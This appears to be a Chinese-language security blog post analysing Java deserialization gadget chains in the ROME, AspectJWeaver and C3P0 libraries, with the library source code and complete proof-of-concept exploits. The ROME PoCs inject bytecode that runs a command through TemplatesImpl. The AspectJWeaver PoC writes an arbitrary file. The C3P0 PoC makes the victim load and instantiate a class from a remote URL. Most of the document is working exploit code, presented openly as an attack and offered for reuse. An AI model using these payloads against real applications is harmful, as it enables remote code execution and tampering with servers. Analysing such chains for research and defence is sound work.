ROME

popgadget

1
2
3
4
5
6
7
8
9
10
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

我这样写比ysoserial上的链更简单点,感觉ysoserial上的链有一些不必要用的;比如”ObjectBean”;完全可以通过EqualsBean本身的hashCode()函数跳到EqualsBean.beanHashCode(),而不需要用的”ObjectBean.hashCode”;

环境依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

分析gadget:

com.sun.syndication.feed.impl.EqualsBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   public EqualsBean(Class beanClass,Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass()+" is not instance of "+beanClass);
}
_beanClass = beanClass;
_obj = obj;
}


public int hashCode() {
return beanHashCode();
}

public int beanHashCode() {
return _obj.toString().hashCode();
}

public int beanHashCode() {
return _obj.toString().hashCode();
}

_obj是可控制的,那么就可以调用ToStringBean.toString();

com.sun.syndication.feed.impl.ToStringBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public ToStringBean(Class beanClass,Object obj) {
_beanClass = beanClass;
_obj = obj;
}

public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return toString(prefix);
}

private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) {
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}

这里toString的无参方法最终会调用的toString的有参方法;而toString(String prefix)方法中

在Java中,BeanIntrospector.getPropertyDescriptors(_beanClass);是一个用来获取指定 Java Bean 类的属性描述符(PropertyDescriptor)数组的方法。PropertyDescriptor包含了Java Bean类的属性的信息,比如属性名称、属性的getter方法和setter方法等

getReadMethod():是 PropertyDescriptor 类中的一个方法,用于获取与当前属性相关联的读取方法(getter 方法)。而获取setter方法对应的函数就是”getWriteMethod()”;

_beanClass_obj也是可以通过构造函数控制的;所以就可以调用任意对象的getter方法,第一个想到的就是TemplatesImpl类中的.getOutputProperties()函数;

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Test1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
TemplatesImpl fakeTemplates = new TemplatesImpl();

Class templatesClass = templates.getClass();

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"zIxyd");

byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));

byte[][] bytes= {code};

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

// Field tfactory = templatesClass.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

//防止在序列化时就代码执行,先弄一个没用的实例
ToStringBean toStringBean = new ToStringBean(Templates.class, fakeTemplates);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> hashMap = new HashMap<>();

hashMap.put(equalsBean,1);
//防止在序列化时就代码执行,再通过反射将对象改成恶意的TemplatesImpl实例
Class toStringBeanClass = toStringBean.getClass();
Field obj = toStringBeanClass.getDeclaredField("_obj");
obj.setAccessible(true);
obj.set(toStringBean,templates);

serialize(hashMap);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

其中有一个坑点:

1
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class, fakeTemplates);

ToStringBean类中的第一个参数不能写TemplatesImpl.class(其实一开始我为了途方便,写的就是这个,否则反序列化不能执行代码;

“学习”;知其然知其所以然;调试看看,为什么不行;

如果第一个参数写TemplatesImpl.class,在使用BeanIntrospector.getPropertyDescriptors(_beanClass);就会有五个参数符合条件;

而要利用的getOutputProperties排在第三个,也就是数组下标为2的元素

但是在反序列化时,当遍历到第二个元素时,就会报空指针异常,所以根本不会执行到要利用的getPropertyDescriptors函数

1
private transient ThreadLocal _sdom = new ThreadLocal();

其实_sdom属性默认是有值的,但是被transient修饰了,所以反序列化时会为空

解决方法之一就是将ToStringBean函数的第一个参数改成Templates.class,这样在获取javabean的(getter,setter)方法时,就只会得到getPropertyDescriptors方法;

还有一条可以更简单的链:

gadget:

1
2
3
4
5
6
7
8
9
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
EqualsBean.beanEquals(Object obj)
AbstractMap.equals(Object obj)
HashMap<K,V>.putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict)
HashMap<K,V>.readObject(ObjectInputStream)

com.sun.syndication.feed.impl.EqualsBean类中的equals调用了beanEquals方法;而这个方法中存在pReadMethod.invoke(bean1, NO_PARAMS);

可以简单分析一下”beanEquals”函数,如果想要调用的”pReadMethod.invoke”;要使得eq = true;否则for循环都进不去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public boolean equals(Object obj) {
return beanEquals(obj);
}

public boolean beanEquals(Object obj) {
Object bean1 = _obj;
Object bean2 = obj;
boolean eq;
if (bean2==null) {
eq = false;
}
else
if (bean1==null && bean2==null) {
eq = true;
}
else
if (bean1==null || bean2==null) {
eq = false;
}
else {
if (!_beanClass.isInstance(bean2)) {
eq = false;
}
else {
eq = true;
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i = 0; eq && i<pds.length; i++) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null &&
pReadMethod.getDeclaringClass()!=Object.class &&
pReadMethod.getParameterTypes().length==0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = doEquals(value1, value2);
}
}
}
}
catch (Exception ex) {
throw new RuntimeException("Could not execute equals()", ex);
}
}
}
return eq;
}

可以利用CC7中的思路,使得两个HashMap相同,从而会调用第二个map的equals方法,因为HashMap没有equals方法,最终会调用HashMap的父类AbstractMap的equals方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // <<===在这里可以调用的EqualsBean.equals
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Test2 {
public static void main(String[] args) throws Exception {

String cmd = "calc";
//TemplateImpl 动态加载字节码
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("a");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
byte[] code = payload.toBytecode();
payload.writeFile();

TemplatesImpl templates = new TemplatesImpl();
TemplatesImpl fakeTemplates = new TemplatesImpl();

Class templatesClass = templates.getClass();

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "zIxyd");

// byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));

byte[][] bytes = {code};

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, bytes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

EqualsBean equalsBean = new EqualsBean(String.class, "zIxyd");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();

map1.put("yy", equalsBean);
map1.put("zZ", templates);
map2.put("zZ", equalsBean);
map2.put("yy", templates);
HashMap<Object, Object> hashMap = new HashMap<>();

hashMap.put(map1, "1");
hashMap.put(map2, "2");

Class equalsBeanClass = equalsBean.getClass();
Field beanClass = equalsBeanClass.getDeclaredField("_beanClass");
beanClass.setAccessible(true);
beanClass.set(equalsBean, Templates.class);
Field obj = equalsBeanClass.getDeclaredField("_obj");
obj.setAccessible(true);
obj.set(equalsBean, templates);

serialize(hashMap);
unserialize();
//base64Encode("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
public static void base64Encode(String filename){
String filePath = filename; // 指定文件路径

try {
File file = new File(filePath);
FileInputStream fis = new FileInputStream(file);

byte[] data = new byte[(int) file.length()];
fis.read(data);
fis.close();

// 使用Base64编码
String base64Encoded = Base64.getEncoder().encodeToString(data);
System.out.println("Base64 编码后的长度: " + base64Encoded.length()); //1360

} catch (Exception e) {
e.printStackTrace();
}
}
}

最后用javassist方法,将文件内容变小了许多;

javassist依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

AspectJWeaver

依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.6</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

gadget:

1
2
3
4
5
6
7
8
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()

org.aspectj.weaver.tools.cache.SimpleCache 类中定义了一个内部类 StoreableCachingMap,这个类继承了 HashMap,提供了将 Map 中值写入文件中的功能。

文件名,路径名和内容都是可控的;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

private StoreableCachingMap(String folder, int storingTimer){
this.folder = folder;
initTrace();
this.storingTimer = storingTimer;
}

public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;

if (Arrays.equals(valueBytes, SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes); // <<==
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}


private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes); // <<==
fos.flush();
fos.close();
return fullPath;
}

示例:利用反射在当前目录下向Test.txt写了内容为”zIxyd…”;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String fileName    = "Test.txt";
String filePath = ".";
String fileContent = "zIxyd...";

Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class, int.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(filePath, 1);

Method declaredMethod = clazz.getDeclaredMethod("put", Object.class, Object.class);
declaredMethod.setAccessible(true);
byte[] bytes = fileContent.getBytes();
declaredMethod.invoke(o,fileName,bytes);

LazyMap中的get函数调用了put函数;到这里利用链就很明显了(前一部分用CC6,后一部分从LazyMap.get调用的StoreableCachingMap.put);

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test1 {
public static void main(String[] args) throws Exception {
String fileName = "Test.txt";
String filePath = ".";
String fileContent = "zIxyd...";
byte[] bytes = fileContent.getBytes();

Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class, int.class);
declaredConstructor.setAccessible(true);
Map o = (Map) declaredConstructor.newInstance(filePath, 1);

Map lazyMap = LazyMap.decorate(o, new ConstantTransformer(bytes));

HashMap<Object, Object> hashMap = new HashMap<>();
//防止在序列化时就执行,所以先不填恶意的lazyMap,等序列完,再通过反射改成LazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(hashMap, fileName);

hashMap.put(tiedMapEntry,1);

Class tiedMapEntryClass = TiedMapEntry.class;
Field map = tiedMapEntryClass.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry,lazyMap);
serialize(hashMap);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

C3P0

依赖

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

gadget:

1
2
3
4
5
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()

PoolBackedDataSourceBase.readObject();如果变量 o 是否是 IndirectlySerialized 类或其子类的实例。就会调用 ReferenceIndirector.getObject()

1
2
3
4
5
6
7
8
9
10
11
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); //<<==
......

但是IndirectlySerialized没有Serializable接口,注意writeObject函数:当对象不能反序列时;会调用ReferenceIndirector.indirectForm函数将不能反序列化的对象封装;IndirectlySerialized接口的唯一实现类就是ReferenceSerialized;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) ); //<<==
}
......

注意indirectForm函数;会将传递的对象强转成Referenceable接口并调用getReference()方法,最终返回一个Reference对象;

也就是说ref对象,是可控的,这一点对后面的利用非常重要;

所以最终:一个不可序列化的对象经过序列化会封装成ReferenceSerialized对象;之后再反序列化就调用到ReferenceSerialized.getObject()方法

调用到 ReferenceableUtils.referenceToObject();可以看到使用了 URLClassLoader 从 URL 中加载了类并实例化;

ref再上面说过,因为是可控的,所以最后可以使用 URLClassLoader 从 URL 中加载了类并实例化。

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.beans.PropertyVetoException;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test1 {
//从上面分析到:要序列化的对象分别会强转成ConnectionPoolDataSource和Referenceable
public static class payload implements ConnectionPoolDataSource,Referenceable {

@Override
//序列化时通过"Reference ref = ((Referenceable) orig).getReference();";会将ref对象变成恶意的Reference对象,
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8000/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}


public static void main(String[] args) throws PropertyVetoException, IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {

payload payload = new payload();

PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(payload);
serialize(poolBackedDataSourceBase);
unserialize();
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}